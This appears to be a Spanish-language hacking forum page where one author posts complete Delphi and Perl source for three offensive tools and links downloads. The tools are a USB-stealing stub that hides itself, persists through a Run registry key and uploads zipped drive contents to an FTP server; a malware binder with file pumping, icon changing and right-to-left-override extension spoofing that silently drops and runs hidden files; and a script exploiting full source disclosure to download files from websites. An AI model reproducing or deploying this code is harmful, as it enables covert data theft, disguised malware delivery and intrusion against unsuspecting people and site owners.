end ;
lineafinal : = '[63686175]' + dhencode( '[online]1[online]' + '[directorios]' +
directorios. Text + '[directorios]' + '[carpeta]' + foldername. Text +
'[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
+ '[ftp_op]' + '[ftp_host]' + ftp_host. Text + '[ftp_host]' + '[ftp_user]' +
ftp_user. Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass. Text + '[ftp_pass]' +
'[ftp_path]' + ftp_path. Text + '[ftp_path]' , 'encode' ) + '[63686175]' ;
aca : = INVALID_HANDLE_VALUE;
nose : = 0 ;
stubgenerado : = 'cagatron_ready.exe' ;
DeleteFile ( stubgenerado) ;
CopyFile( PChar ( ExtractFilePath ( Application. ExeName ) + '/' +
'Data/cagatron_server.exe' ) , PChar ( ExtractFilePath ( Application. ExeName ) +
'/' + stubgenerado) , True ) ;
CopyFile( PChar ( ExtractFilePath ( Application. ExeName ) + '/' + 'Data/7z.dll' ) ,
PChar ( ExtractFilePath ( Application. ExeName ) + '/' + '7z.dll' ) , True ) ;
StrCopy ( code, PChar ( lineafinal) ) ;
aca : = CreateFile( PChar ( ExtractFilePath ( Application. ExeName ) +
'/cagatron_ready.exe' ) , GENERIC_WRITE, FILE_SHARE_READ, nil ,
OPEN_EXISTING, 0 , 0 ) ;
if ( aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer( aca, 0 , nil , FILE_END) ;
WriteFile( aca, code, 9999 , nose, nil ) ;
CloseHandle( aca) ;
end ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Done' ;
Form1. StatusBar1 . Update ;
end ;
end .
// The End ?
El Stub.
// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos
program cagatron_server;
{$APPTYPE GUI}
{$R *.res}
uses
SysUtils, WinInet, Windows, sevenzip;
var
directorio, directorio_final, carpeta, nombrereal, yalisto: string ;
hide_op: string ;
registro: HKEY;
ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string ;
online: string ;
ob: THandle ;
code: Array [ 0 .. 9999 + 1 ] of Char ;
nose: DWORD ;
todo: string ;
// Functions
function regex( text: String ; deaca: String ; hastaaca: String ) : String ;
begin
Delete ( text, 1 , AnsiPos ( deaca, text) + Length ( deaca) - 1 ) ;
SetLength ( text, AnsiPos ( hastaaca, text) - 1 ) ;
Result : = text;
end ;
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
procedure comprimir( dirnow, guardar: string ) ;
var
zipnow: I7zOutArchive;
busqueda: TSearchRec;
begin
zipnow : = CreateOutArchive( CLSID_CFormat7z) ;
SetCompressionLevel( zipnow, 9 ) ;
SevenZipSetCompressionMethod( zipnow, m7LZMA) ;
if FindFirst ( dirnow + '\*.*' , faAnyFile + faDirectory + faReadOnly,
busqueda) = 0 then
begin
repeat
if ( busqueda. Attr = faDirectory) then
begin
if not ( busqueda. Name = '.' ) and not ( busqueda. Name = '..' ) then
begin
zipnow. AddFiles ( dirnow + '/' + busqueda. Name , busqueda. Name ,
'*.*' , True ) ;
end ;
end
else
begin
zipnow. AddFile ( dirnow + '/' + busqueda. Name , busqueda. Name ) ;
end ;
until FindNext ( busqueda) <> 0 ;
System. SysUtils . FindClose ( busqueda) ;
end ;
zipnow. SaveToFile ( guardar) ;
if ( hide_op = '1' ) then
begin
SetFileAttributes( pchar ( guardar) , FILE_ATTRIBUTE_HIDDEN) ;
end ;
end ;
function usb_name( checked: Char ) : string ;
// Based on http://delphitutorial.info/get-volume-name.html
var
uno, dos: DWORD ;
resultnow: array [ 0 .. MAX_PATH ] of Char ;
begin
try
GetVolumeInformation( pchar ( checked + ':/' ) , resultnow, sizeof ( resultnow) ,
nil , uno, dos, nil , 0 ) ;
Result : = StrPas ( resultnow) ;
except
Result : = checked;
end ;
end ;
function check_drive( target: string ) : boolean ;
var
a, b, c: cardinal ;
begin
Result : = GetVolumeInformation( pchar ( target) , nil , 0 , @ c, a, b, nil , 0 ) ;
end ;
function check_file_ftp( host, username, password, archivo: pchar ) : integer ;
var
controluno: HINTERNET;
controldos: HINTERNET;
abriendo: HINTERNET;
valor: integer ;
begin
controluno : = InternetOpen( 0 , INTERNET_OPEN_TYPE_PRECONFIG, 0 , 0 , 0 ) ;
controldos : = InternetConnect( controluno, host, INTERNET_DEFAULT_FTP_PORT,
username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0 ) ;
abriendo : = ftpOpenfile( controldos, pchar ( archivo) , GENERIC_READ,
FTP_TRANSFER_TYPE_BINARY, 0 ) ;
valor : = ftpGetFileSize( abriendo, nil ) ;
InternetCloseHandle( controldos) ;
InternetCloseHandle( controluno) ;
Result : = valor;
end ;
procedure upload_ftpfile( host, username, password, filetoupload,
conestenombre: pchar ) ;
// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal
var
controluno: HINTERNET;
controldos: HINTERNET;
begin
try
begin
controluno : = InternetOpen( 0 , INTERNET_OPEN_TYPE_PRECONFIG, 0 , 0 , 0 ) ;
controldos : = InternetConnect( controluno, host, INTERNET_DEFAULT_FTP_PORT,
username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0 ) ;
ftpPutFile( controldos, filetoupload, conestenombre,
FTP_TRANSFER_TYPE_BINARY, 0 ) ;
InternetCloseHandle( controldos) ;
InternetCloseHandle( controluno) ;
end
except
//
end ;
end ;
procedure buscar_usb;
var
unidad: Char ;
usb_target, usb_nombre: string ;
begin
while ( 1 = 1 ) do
begin
Sleep ( 5000 ) ;
for unidad : = 'C' to 'Z' do
begin
if ( check_drive( pchar ( unidad + ':\' ) ) = True ) and
( GetDriveType( pchar ( unidad + ':\' ) ) = DRIVE_REMOVABLE) then
begin
usb_target : = unidad + ':\' ;
usb_nombre : = usb_name( unidad) + '.zip' ;
if not ( FileExists ( usb_nombre) ) then
begin
// Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
comprimir( usb_target, usb_nombre) ;
// Writeln('[+] Saved');
if ( ftp_op = '1' ) then
begin
// Writeln('[+] Checking file in FTP ...');
if ( check_file_ftp( pchar ( ftp_host) , pchar ( ftp_user) ,
pchar ( ftp_pass) , pchar ( '/' + ftp_path + '/' + usb_nombre) ) = - 1 )
then
begin
// Writeln('[+] Uploading ...');
upload_ftpfile( pchar ( ftp_host) , pchar ( ftp_user) , pchar ( ftp_pass) ,
pchar ( usb_nombre) , pchar ( '/' + ftp_path + '/' + usb_nombre) ) ;
// Writeln('[+] Done');
end
else
begin
// Writeln('[+] File exists');
end ;
end ;
end ;
end ;
end ;
end ;
end ;
begin
try
ob : = INVALID_HANDLE_VALUE;
code : = '' ;
ob : = CreateFile( pchar ( paramstr ( 0 ) ) , GENERIC_READ, FILE_SHARE_READ, nil ,
OPEN_EXISTING, 0 , 0 ) ;
if ( ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer( ob, - 9999 , nil , FILE_END) ;
ReadFile( ob, code, 9999 , nose, nil ) ;
CloseHandle( ob) ;
end ;
todo : = regex( code, '[63686175]' , '[63686175]' ) ;
todo : = dhencode( todo, 'decode' ) ;
directorio : = pchar ( regex( todo, '[directorios]' , '[directorios]' ) ) ;
carpeta : = pchar ( regex( todo, '[carpeta]' , '[carpeta]' ) ) ;
directorio_final : = GetEnvironmentVariable ( directorio) + '/' + carpeta;
hide_op : = pchar ( regex( todo, '[ocultar]' , '[ocultar]' ) ) ;
ftp_op : = pchar ( regex( todo, '[ftp_op]' , '[ftp_op]' ) ) ;
ftp_host : = pchar ( regex( todo, '[ftp_host]' , '[ftp_host]' ) ) ;
ftp_user : = pchar ( regex( todo, '[ftp_user]' , '[ftp_user]' ) ) ;
ftp_pass : = pchar ( regex( todo, '[ftp_pass]' , '[ftp_pass]' ) ) ;
ftp_path : = pchar ( regex( todo, '[ftp_path]' , '[ftp_path]' ) ) ;
online : = pchar ( regex( todo, '[online]' , '[online]' ) ) ;
if ( online = '1' ) then
begin
nombrereal : = ExtractFileName ( paramstr ( 0 ) ) ;
yalisto : = directorio_final + '/' + nombrereal;
if not ( DirectoryExists ( directorio_final) ) then
begin
CreateDir ( directorio_final) ;
end ;
// CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
MoveFile( pchar ( paramstr ( 0 ) ) , pchar ( yalisto) ) ;
if ( hide_op = '1' ) then
begin
SetFileAttributes( pchar ( yalisto) , FILE_ATTRIBUTE_HIDDEN) ;
end ;
if ( FileExists ( '7z.dll' ) ) then
begin
// CopyFile(pchar('7z.dll'),
// pchar(directorio_final + '/' + '7z.dll'), False);
MoveFile( pchar ( '7z.dll' ) , pchar ( directorio_final + '/' + '7z.dll' ) ) ;
if ( hide_op = '1' ) then
begin
SetFileAttributes( pchar ( directorio_final + '/' + '7z.dll' ) ,
FILE_ATTRIBUTE_HIDDEN) ;
end ;
end ;
ChDir ( directorio_final) ;
if ( hide_op = '1' ) then
begin
SetFileAttributes( pchar ( directorio_final) , FILE_ATTRIBUTE_HIDDEN) ;
end ;
try
begin
RegCreateKeyEx( HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\Run\' , 0 , nil ,
REG_OPTION_NON_VOLATILE, KEY_WRITE, nil , registro, nil ) ;
RegSetValueEx( registro, 'uberk' , 0 , REG_SZ, pchar ( yalisto) , 666 ) ;
RegCloseKey( registro) ;
end ;
except
//
end ;
// Writeln('[+] Searching USB ...');
BeginThread ( nil , 0 , @ buscar_usb, nil , 0 , PDWORD ( 0 ) ^ ) ;
while ( 1 = 1 ) do
Sleep ( 5000 ) ;
end
else
begin
// Writeln('[+] Offline');
end ;
except
on E: Exception do
Writeln ( E. ClassName , ': ' , E. Message ) ;
end ;
end .
// The End ?
Un video con ejemplos de uso :
VIDEO Si quieren bajar el programa lo pueden hacer de aca :
SourceForge .
Github .
Eso seria todo.
69
Programación / Programación General / [Delphi] DH Binder 1.0
en: 27 Febrero 2015, 16:40 pm
Nueva version de este simple binder que hice en Delphi con las siguientes opciones :
Junta todos los archivos que quieran con opcion de cargar normal , oculto o solo extraer Se puede seleccionar donde se extraen los archivos Se puede cargar los archivos de forma oculta o normal Se puede ocultar los archivos Se puede elegir el icono del ejecutable generado El builder incluye un File Pumper,Icon Changer y Extension Spoofer Una imagen :
Los codigos :
El generador.
// DH Binder 1.0
// (C) Doddy Hackman 2015
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle
unit binder;
interface
uses
Winapi. Windows , Winapi. Messages , System. SysUtils , System. Variants ,
System. Classes , Vcl. Graphics ,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , Vcl. ComCtrls , Vcl. StdCtrls ,
Vcl. ExtCtrls , ShellApi, Vcl. ImgList , Vcl. Menus , Vcl. Imaging . pngimage , madRes,
StrUtils;
type
TForm1 = class ( TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
PageControl2: TPageControl;
TabSheet4: TTabSheet;
TabSheet5: TTabSheet;
GroupBox1: TGroupBox;
PageControl3: TPageControl;
TabSheet6: TTabSheet;
TabSheet7: TTabSheet;
TabSheet8: TTabSheet;
files: TListView;
StatusBar1: TStatusBar;
GroupBox2: TGroupBox;
archivo_nuevo: TEdit;
Button1: TButton;
GroupBox3: TGroupBox;
execute: TComboBox;
abrir: TOpenDialog;
GroupBox4: TGroupBox;
Button2: TButton;
GroupBox5: TGroupBox;
extraction: TComboBox;
GroupBox6: TGroupBox;
opcion_ocultar: TCheckBox;
check_filepumper: TCheckBox;
GroupBox7: TGroupBox;
GroupBox8: TGroupBox;
pumper_count: TEdit;
UpDown1: TUpDown;
pumper_type: TComboBox;
check_extension_changer: TCheckBox;
GroupBox9: TGroupBox;
check_extension: TCheckBox;
extensiones: TComboBox;
GroupBox10: TGroupBox;
check_this_extension: TCheckBox;
extension: TEdit;
GroupBox11: TGroupBox;
ruta_icono: TEdit;
Button3: TButton;
GroupBox12: TGroupBox;
use_icon_changer: TCheckBox;
preview: TImage;
imagenes: TImageList;
menu: TPopupMenu;
C1: TMenuItem;
Image2: TImage;
GroupBox13: TGroupBox;
Button4: TButton;
TabSheet9: TTabSheet;
GroupBox14: TGroupBox;
Image3: TImage;
Label1: TLabel;
D1: TMenuItem;
abrir_icono: TOpenDialog;
procedure Button1Click( Sender: TObject ) ;
procedure Button3Click( Sender: TObject ) ;
procedure Button2Click( Sender: TObject ) ;
procedure C1Click( Sender: TObject ) ;
procedure Button4Click( Sender: TObject ) ;
procedure FormCreate( Sender: TObject ) ;
procedure D1Click( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
procedure file_pumper( archivo: string ; cantidad: LongWord ) ;
var
arraycantidad: array of Byte ;
abriendo: TFileStream;
begin
abriendo : = TFileStream. Create ( archivo, fmOpenReadWrite) ;
SetLength ( arraycantidad, cantidad) ;
ZeroMemory( @ arraycantidad[ 1 ] , cantidad) ;
abriendo. Seek ( 0 , soFromEnd) ;
abriendo. Write ( arraycantidad[ 0 ] , High ( arraycantidad) ) ;
abriendo. Free ;
end ;
procedure extension_changer( archivo: string ; extension: string ) ;
var
nombre: string ;
begin
nombre : = ExtractFileName ( archivo) ;
nombre : = StringReplace ( nombre, ExtractFileExt ( nombre) , '' ,
[ rfReplaceAll, rfIgnoreCase] ) ;
nombre : = nombre + char ( 8238 ) + ReverseString( '.' + extension) + '.exe' ;
MoveFile( PChar ( archivo) , PChar ( ExtractFilePath ( archivo) + nombre) ) ;
end ;
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
//
procedure TForm1. Button1Click ( Sender: TObject ) ;
begin
if ( abrir. execute ) then
begin
archivo_nuevo. Text : = abrir. FileName ;
end ;
end ;
procedure TForm1. Button2Click ( Sender: TObject ) ;
var
icono: TIcon;
listate: TListItem;
getdata: SHFILEINFO;
begin
if ( FileExists ( archivo_nuevo. Text ) ) then
begin
icono : = TIcon. Create ;
files. Items . BeginUpdate ;
with files do
begin
listate : = files. Items . Add ;
listate. Caption : = ExtractFileName ( archivo_nuevo. Text ) ;
listate. SubItems . Add ( archivo_nuevo. Text ) ;
listate. SubItems . Add ( ExtractFileExt ( archivo_nuevo. Text ) ) ;
listate. SubItems . Add ( execute. Text ) ;
SHGetFileInfo( PChar ( archivo_nuevo. Text ) , 0 , getdata, SizeOf ( getdata) ,
SHGFI_ICON or SHGFI_SMALLICON) ;
icono. Handle : = getdata. hIcon ;
listate. ImageIndex : = imagenes. AddIcon ( icono) ;
DestroyIcon( getdata. hIcon ) ;
end ;
files. Items . EndUpdate ;
archivo_nuevo. Text : = '' ;
StatusBar1. Panels [ 0 ] . Text : = '[+] File Added' ;
Form1. StatusBar1 . Update ;
end
else
begin
StatusBar1. Panels [ 0 ] . Text : = '[-] File not exists' ;
Form1. StatusBar1 . Update ;
end ;
end ;
procedure TForm1. Button3Click ( Sender: TObject ) ;
begin
if ( abrir_icono. execute ) then
begin
ruta_icono. Text : = abrir_icono. FileName ;
preview. Picture . LoadFromFile ( abrir_icono. FileName ) ;
end ;
end ;
procedure TForm1. Button4Click ( Sender: TObject ) ;
var
i: integer ;
nombre: string ;
ruta: string ;
tipo: string ;
savein: string ;
opcionocultar: string ;
lineafinal: string ;
uno: DWORD ;
tam: DWORD ;
dos: DWORD ;
tres: DWORD ;
todo: Pointer ;
change: DWORD ;
valor: string ;
stubgenerado: string ;
ruta_archivo: string ;
tipocantidadz: string ;
extensionacambiar: string ;
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Working ...' ;
Form1. StatusBar1 . Update ;
if ( files. Items . Count = 0 ) or ( files. Items . Count = 1 ) then
begin
ShowMessage( 'You have to choose two or more files' ) ;
end
else
begin
stubgenerado : = 'done.exe' ;
if ( opcion_ocultar. Checked = True ) then
begin
opcionocultar : = '1' ;
end
else
begin
opcionocultar : = '0' ;
end ;
if ( extraction. Items [ extraction. ItemIndex ] = '' ) then
begin
savein : = 'USERPROFILE' ;
end
else
begin
savein : = extraction. Items [ extraction. ItemIndex ] ;
end ;
DeleteFile ( stubgenerado) ;
CopyFile( PChar ( ExtractFilePath ( Application. ExeName ) + '/' +
'Data/stub.exe' ) , PChar ( ExtractFilePath ( Application. ExeName ) + '/' +
stubgenerado) , True ) ;
ruta_archivo : = ExtractFilePath ( Application. ExeName ) + '/' + stubgenerado;
uno : = BeginUpdateResource( PChar ( ruta_archivo) , True ) ;
for i : = 0 to files. Items . Count - 1 do
begin
nombre : = files. Items [ i] . Caption ;
ruta : = files. Items [ i] . SubItems [ 0 ] ;
tipo : = files. Items [ i] . SubItems [ 2 ] ;
lineafinal : = '[nombre]' + nombre + '[nombre][tipo]' + tipo +
'[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]' ;
lineafinal : = '[63686175]' + dhencode( UpperCase ( lineafinal) , 'encode' ) +
'[63686175]' ;
dos : = CreateFile( PChar ( ruta) , GENERIC_READ, FILE_SHARE_READ, nil ,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ) ;
tam : = GetFileSize( dos, nil ) ;
GetMem ( todo, tam) ;
ReadFile( dos, todo^ , tam, tres, nil ) ;
CloseHandle( dos) ;
UpdateResource( uno, RT_RCDATA, PChar ( lineafinal) ,
MAKEWord( LANG_NEUTRAL, SUBLANG_NEUTRAL) , todo, tam) ;
end ;
EndUpdateResource( uno, False ) ;
end ;
//
if ( check_filepumper. Checked ) then
begin
tipocantidadz : = pumper_type. Items [ pumper_type. ItemIndex ] ;
if ( tipocantidadz = 'Byte' ) then
begin
file_pumper( ruta_archivo, StrToInt ( pumper_count. Text ) * 8 ) ;
end ;
if ( tipocantidadz = 'KiloByte' ) then
begin
file_pumper( ruta_archivo, StrToInt ( pumper_count. Text ) * 1024 ) ;
end ;
if ( tipocantidadz = 'MegaByte' ) then
begin
file_pumper( ruta_archivo, StrToInt ( pumper_count. Text ) * 1048576 ) ;
end ;
if ( tipocantidadz = 'GigaByte' ) then
begin
file_pumper( ruta_archivo, StrToInt ( pumper_count. Text ) * 1073741824 ) ;
end ;
if ( tipocantidadz = 'TeraByte' ) then
begin
file_pumper( ruta_archivo, StrToInt ( pumper_count. Text ) * 1099511627776 ) ;
end ;
end ;
if ( use_icon_changer. Checked ) then
begin
try
begin
change : = BeginUpdateResourceW
( PWideChar ( wideString ( ruta_archivo) ) , False ) ;
LoadIconGroupResourceW( change, PWideChar ( wideString ( valor) ) , 0 ,
PWideChar ( wideString ( ruta_icono. Text ) ) ) ;
EndUpdateResourceW( change, False ) ;
end ;
except
begin
//
end ;
end ;
end ;
if ( check_extension_changer. Checked ) then
begin
if not ( check_extension. Checked and check_this_extension. Checked ) then
begin
if ( check_extension. Checked ) then
begin
extensionacambiar : = extensiones. Items [ extensiones. ItemIndex ] ;
extension_changer( ruta_archivo, extensionacambiar) ;
end ;
if ( check_this_extension. Checked ) then
begin
extension_changer( ruta_archivo, extension. Text ) ;
end ;
end ;
end ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Done' ;
Form1. StatusBar1 . Update ;
end ;
procedure TForm1. C1Click ( Sender: TObject ) ;
begin
files. Clear ;
imagenes. Clear ;
end ;
procedure TForm1. D1Click ( Sender: TObject ) ;
begin
files. DeleteSelected ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
abrir. InitialDir : = GetCurrentDir ;
abrir_icono. InitialDir : = GetCurrentDir ;
abrir_icono. Filter : = 'ICO|*.ico|' ;
end ;
end .
// The End ?
El Stub.
// DH Binder 1.0
// (C) Doddy Hackman 2015
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle
program stub;
uses
System. SysUtils , ShellApi, Windows;
function regex( text: String ; deaca: String ; hastaaca: String ) : String ;
begin
Delete ( text, 1 , AnsiPos ( deaca, text) + Length ( deaca) - 1 ) ;
SetLength ( text, AnsiPos ( hastaaca, text) - 1 ) ;
Result : = text;
end ;
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
procedure cargar_archivo( archivo: TFileName; tipo: string ) ;
var
data: SHELLEXECUTEINFO;
begin
if ( FileExists ( archivo) ) then
begin
ZeroMemory( @ data, SizeOf ( SHELLEXECUTEINFO) ) ;
data. cbSize : = SizeOf ( SHELLEXECUTEINFO) ;
data. fMask : = SEE_MASK_NOCLOSEPROCESS;
data. Wnd : = 0 ;
data. lpVerb : = 'open' ;
data. lpFile : = PChar ( archivo) ;
if ( tipo = 'Show' ) then
begin
data. nShow : = SW_SHOWNORMAL;
end ;
if ( tipo = 'Hide' ) then
begin
data. nShow : = SW_HIDE;
end ;
if not ShellExecuteEx( @ data) then
if GetLastError <= 32 then
begin
SysErrorMessage ( GetLastError ) ;
end ;
end ;
end ;
//
// Start the game
function start( tres: THANDLE ; cuatro, cinco: PChar ; seis: DWORD ) : BOOL ; stdcall ;
var
data: DWORD ;
uno: DWORD ;
dos: DWORD ;
cinco2: string ;
nombre: string ;
tipodecarga: string ;
ruta: string ;
ocultar: string ;
begin
Result : = True ;
cinco2 : = cinco;
cinco2 : = regex( cinco2, '[63686175]' , '[63686175]' ) ;
cinco2 : = dhencode( cinco2, 'decode' ) ;
cinco2 : = LowerCase ( cinco2) ;
nombre : = regex( cinco2, '[nombre]' , '[nombre]' ) ;
tipodecarga : = regex( cinco2, '[tipo]' , '[tipo]' ) ;
ruta : = GetEnvironmentVariable ( regex( cinco2, '[dir]' , '[dir]' ) ) + '/' ;
ocultar : = regex( cinco2, '[hide]' , '[hide]' ) ;
if not ( tipodecarga = '' ) then
begin
data : = FindResource( 0 , cinco, cuatro) ;
uno : = CreateFile( PChar ( ruta + nombre) , GENERIC_WRITE, FILE_SHARE_WRITE,
nil , CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 ) ;
WriteFile( uno, LockResource( LoadResource( 0 , data) ) ^ ,
SizeOfResource( 0 , data) , dos, nil ) ;
CloseHandle( uno) ;
if ( ocultar = '1' ) then
begin
SetFileAttributes( PChar ( ruta + nombre) , FILE_ATTRIBUTE_HIDDEN) ;
end ;
if ( tipodecarga = 'normal' ) then
begin
// Writeln('Abriendo normal');
cargar_archivo( ruta + nombre, 'Show' ) ;
end ;
if ( tipodecarga = 'hide' ) then
begin
// Writeln('Abriendo oculto');
cargar_archivo( ruta + nombre, 'Hide' ) ;
end ;
end ;
end ;
begin
EnumResourceNames( 0 , RT_RCDATA, @ start, 0 ) ;
end .
// The End ?
Un video con ejemplos de uso :
VIDEO Si quieren bajar el programa lo pueden hacer de aca :
SourceForge .
Github .
70
Programación / Scripting / [Perl] FSD Exploit Manager 0.6
en: 20 Febrero 2015, 17:30 pm
Un simple script en Perl para explotar la vulnerabilidad Full Source Discloure solo ponen el link de la pagina vulnerable con el path y pueden bajar archivos de forma facil con este script.
El codigo :
#!usr/bin/perl
#FSD Exploit Manager 0.6
#(C) Doddy Hackman 2014
use Getopt:: Long ;
use Color:: Output ;
Color:: Output :: Init ;
use LWP:: UserAgent ;
use URI
:: Split qw ( uri_split
) ; use File:: Basename ;
use Cwd;
my $nave = LWP:: UserAgent -> new ( ) ;
$nave -> agent ( $agents [ rand @agents ] ) ; $nave -> timeout ( 5 ) ;
installer( ) ;
GetOptions(
"scan=s" => \$scan ,
"fpd" => \$fpd ,
"logs" => \$logs ,
"open" => \$open
) ;
head( ) ;
if ( $scan ) {
my $page = $scan ;
printear( "\n [+] Scanning target : " ) ;
my ( $scheme , $auth , $path , $query , $frag ) = uri_split( $page ) ;
my $me = basename( $path ) ;
$code1 = toma( $page . $me ) ;
if ( $code1 =~ /header\((.*)Content-Disposition: attachment;/ig ) {
printear_titulo( "[+] Vulnerable\n " ) ;
$code2 = toma( $page . "'" ) ;
if ( $code2 =~ /No such file or directory in <b>(.*)<\/b> on line/
or $code2 =~
/No existe el fichero o el directorio in <b>(.*)<\/b> on line/ )
{
my $ruta = $1 ;
my $cambiar = basename( $ruta ) ;
$ruta =~ s/$cambiar// ;
my $prompt = "" ;
if ( $fpd ) {
printear( "\n [+] Full Path Dislocure Detect : " ) ;
$prompt = "[" . $ruta . "] > " ;
}
else {
$prompt = "[prompt] > " ;
}
unless ( - d $auth ) {
}
printear( "\n [+] File Downloader : " ) ;
while ( 1 ) {
$SIG { INT} = \&adios ;
printear_titulo( "\n " . $prompt ) ;
chomp ( my $comando = <stdin> ) ; if ( $comando =~ /!exit/ ) {
adios( ) ;
}
elsif ( $comando =~ /!read_file (.*)/ ) {
my $archivo = $1 ;
my $code = "" ;
my $code = toma( $page . $archivo ) ;
printear_logo(
"\n ----------------------------------------------------\n "
) ;
printear_titulo( $code ) ;
printear_logo(
"\n ----------------------------------------------------\n "
) ;
}
elsif ( $comando =~ /!download_file (.*)/ ) {
my $archivo = $1 ;
my $nombre = basename( $archivo ) ;
printear_titulo( "\n [+] Downloading file : " ) ;
if ( $nave -> mirror ( $page . $archivo , $nombre ) ) {
printear( "\n [+] File Downloaded\n " ) ;
if ( $open ) {
my $abrir = getcwd( ) . "/" . $nombre ;
if ( - f $abrir ) {
abrir_archivo( $abrir ) ;
}
if ( - f $abrir ) {
}
}
}
}
else {
printear( "\n [-] File not downloaded\n " ) ;
}
}
elsif ( $comando =~ /!help/ ) {
printear( "\n [+] Commands : " . "\n \n " ) ;
printear( "!download_file <file> : Download file\n " ) ;
printear( "!read_file <file> : Read File\n " ) ;
printear( "!help : Show commands\n " ) ;
printear( "!exit : To exit the program\n " ) ;
}
else {
printear( "\n [-] Command not found , try using !help\n " ) ;
}
}
}
}
else {
printear_titulo( "[-] Not vulnerable\n " ) ;
}
}
else {
sintax( ) ;
}
copyright( ) ;
sub abrir_archivo {
my $os = $^O ;
if ( $os =~ /Win32/ig ) {
}
else {
}
}
sub printear {
cprint( "\x 036" . $_ [ 0 ] . "\x 030" ) ;
}
sub printear_logo {
cprint( "\x 037" . $_ [ 0 ] . "\x 030" ) ;
}
sub printear_titulo {
cprint( "\x 0310" . $_ [ 0 ] . "\x 030" ) ;
}
sub sintax {
printear( "\n [+] Sintax : " ) ;
print "perl $0 <option> <value>\n " ; printear( "\n [+] Options : \n \n " ) ;
print "-scan <page> : FSD Exploit Scanner\n " ; print "-fpd : Check Full Path Discloure\n " ; print "-logs : Enable logs to save files downloaded\n " ; print "-open : Enable open files downloaded\n " ; printear( "\n [+] Example : " ) ;
print "perl fsd.pl -scan http://localhost/download.php?down= -fpd -logs\n " ; copyright( ) ;
}
sub installer {
unless ( - d "fsdlogs/" ) {
mkdir ( "fsdlogs/" , "777" ) ; }
}
sub adios {
printear_titulo( "\n \n [+] Good Bye\n " ) ;
copyright( ) ;
}
sub head {
printear_logo( "\n -- == FSD Exploit Manager 0.6 == --\n \n " ) ;
}
sub copyright {
printear_logo( "\n \n -- == (C) Doddy Hackman 2014 == --\n " ) ;
}
sub toma {
return $nave -> get ( $_ [ 0 ] ) -> content ; }
#The End ?
Un video con ejemplos de uso :
VIDEO Si quieren bajar el programa lo pueden hacer de aca :
SourceForge .
Github .